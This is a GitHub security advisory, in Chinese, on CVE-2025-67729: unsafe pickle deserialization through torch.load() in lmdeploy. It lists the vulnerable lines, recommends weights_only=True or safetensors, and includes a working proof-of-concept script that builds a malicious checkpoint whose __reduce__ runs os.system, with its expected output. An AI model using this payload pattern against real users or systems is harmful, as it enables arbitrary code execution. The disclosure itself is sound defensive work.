lmdeploy 因 torch.load() 中的不安全反序列化而容易受到任意代码执行攻击 · CVE-2025-67729 · GitHub Advisory Database
漏洞详情
包: pip/lmdeploy
受影响版本: <= 0.11
已修复版本: 0.11.1
描述
摘要
lmdeploy 中存在一个不安全反序列化漏洞,在加载模型检查点文件时调用 torch.load() 时未设置 weights_only=True 参数。这使得攻击者能够在受害者加载恶意的 .bin 或 .pt 模型文件时,在其机器上执行任意代码。
CWE: CWE-502 - 反序列化不可信数据
详情
lmdeploy 中有多处位置使用了 torch.load() 而未使用推荐的 weights_only=True 安全参数。PyTorch 的 torch.load() 在内部使用了 Python 的 pickle 模块,该模块在反序列化过程中可以执行任意代码。
漏洞位置
lmdeploy/vl/model/utils.py (第 22 行)
1
2
3
4
5
6
|
def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
"""Load checkpoint."""
if ckpt.endswith('.safetensors'):
return load_file(ckpt) # Safe - uses safetensors
else:
return torch.load(ckpt) # ← 漏洞:未使用 weights_only=True
|
lmdeploy/turbomind/deploy/loader.py (第 122 行)
1
2
3
4
5
6
|
class PytorchLoader(BaseLoader):
def items(self):
params = defaultdict(dict)
for shard in self.shards:
misc = {}
tmp = torch.load(shard, map_location='cpu') # ← 漏洞
|
其他漏洞位置:
lmdeploy/lite/apis/kv_qparams.py:129-130
lmdeploy/lite/apis/smooth_quant.py:61
lmdeploy/lite/apis/auto_awq.py:101
lmdeploy/lite/apis/get_small_sharded_hf.py:41
注意:安全的模式已存在
代码库中已有一个位置使用了安全模式:
1
2
|
# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu') # ✓ 安全
|
这表明修复方法已知,可以统一应用于整个代码库。
概念验证
步骤 1:创建恶意检查点文件
将以下内容保存为 create_malicious_checkpoint.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os
class MaliciousPayload:
"""Executes arbitrary code during pickle deserialization."""
def __init__(self, command):
self.command = command
def __reduce__(self):
# This is called during unpickling - returns (callable, args)
return (os.system, (self.command,))
def create_malicious_checkpoint(output_path, command):
"""Create a malicious checkpoint file."""
malicious_state_dict = {
'model.layer.weight': MaliciousPayload(command),
'config': {'hidden_size': 768}
}
with open(output_path, 'wb') as f:
pickle.dump(malicious_state_dict, f)
print(f"[+] Created malicious checkpoint: {output_path}")
if __name__ == "__main__":
os.makedirs("malicious_model", exist_ok=True)
create_malicious_checkpoint(
"malicious_model/pytorch_model.bin",
"echo '[PoC] Arbitrary code executed! - RCE confirmed'"
)
|
步骤 2:加载恶意文件(模拟 lmdeploy 的行为)
将以下内容保存为 exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle
def unsafe_load(path):
"""Simulates torch.load() without weights_only=True."""
# torch.load() uses pickle internally, so this is equivalent
with open(path, 'rb') as f:
return pickle.load(f)
if __name__ == "__main__":
print("[*] Loading malicious checkpoint...")
print("[*] This simulates: torch.load(ckpt) in lmdeploy")
print("-" * 50)
result = unsafe_load("malicious_model/pytorch_model.bin")
print("-" * 50)
print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
print("[!] If you see the PoC message above, RCE is confirmed!")
|
步骤 3:运行概念验证
1
2
3
4
5
|
# 创建恶意检查点
python create_malicious_checkpoint.py
# 利用漏洞 - 触发代码执行
python exploit.py
|
预期输出
1
2
3
4
5
6
7
8
|
[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed ← 代码在此处执行!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!
|
[PoC] Arbitrary code executed! 消息证明了在反序列化期间可以执行任意 Shell 命令。
影响
受影响人群:
- 所有从未知来源加载 PyTorch 模型文件(.bin, .pt)的用户。
- 这包括从 HuggingFace、ModelScope 下载的模型,或第三方共享的模型。
攻击场景:
- 攻击者创建一个包含 pickle 有效载荷的恶意模型文件(例如
pytorch_model.bin)。
- 攻击者将其作为“微调模型”分发到模型共享平台或直接发送给受害者。
- 受害者使用 lmdeploy 下载并加载该模型。
- 恶意代码以受害者的权限执行。
潜在后果:
- 远程代码执行 - 导致系统完全被控制。
- 数据窃取 - 访问敏感文件、凭证、API 密钥。
- 横向移动 - 渗透到云环境中的其他系统。
- 加密货币挖矿或勒索软件 - 部署恶意软件。
建议的修复方案
在所有 torch.load() 调用中添加 weights_only=True:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)
# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)
# 将相同模式应用于:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41
|
或者,考虑完全迁移到 SafeTensors 格式,该格式已在代码库中受支持,且不受此类漏洞影响。
资源
官方 PyTorch 安全文档:
“torch.load() 隐式使用了 pickle 模块,众所周知这是不安全的。可以构造恶意的 pickle 数据,在反序列化期间执行任意代码。切勿加载可能来自不可信来源的数据。” — PyTorch torch.load() 文档
相关 CVE:
| CVE |
描述 |
CVSS |
| CVE-2025-32434 |
PyTorch torch.load() RCE 漏洞 |
9.3 严重 |
| CVE-2024-5452 |
PyTorch Lightning 不安全反序列化 |
8.8 高危 |
其他资源:
- CWE-502: 反序列化不可信数据
- Trail of Bits: 利用 ML Pickle 文件
- Rapid7: 攻击者武器化 AI 模型
参考
致谢
报告者:yueyueL
CVSS 评分: 8.8 (高危)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
发布于 2025年12月26日,更新于 2025年12月27日。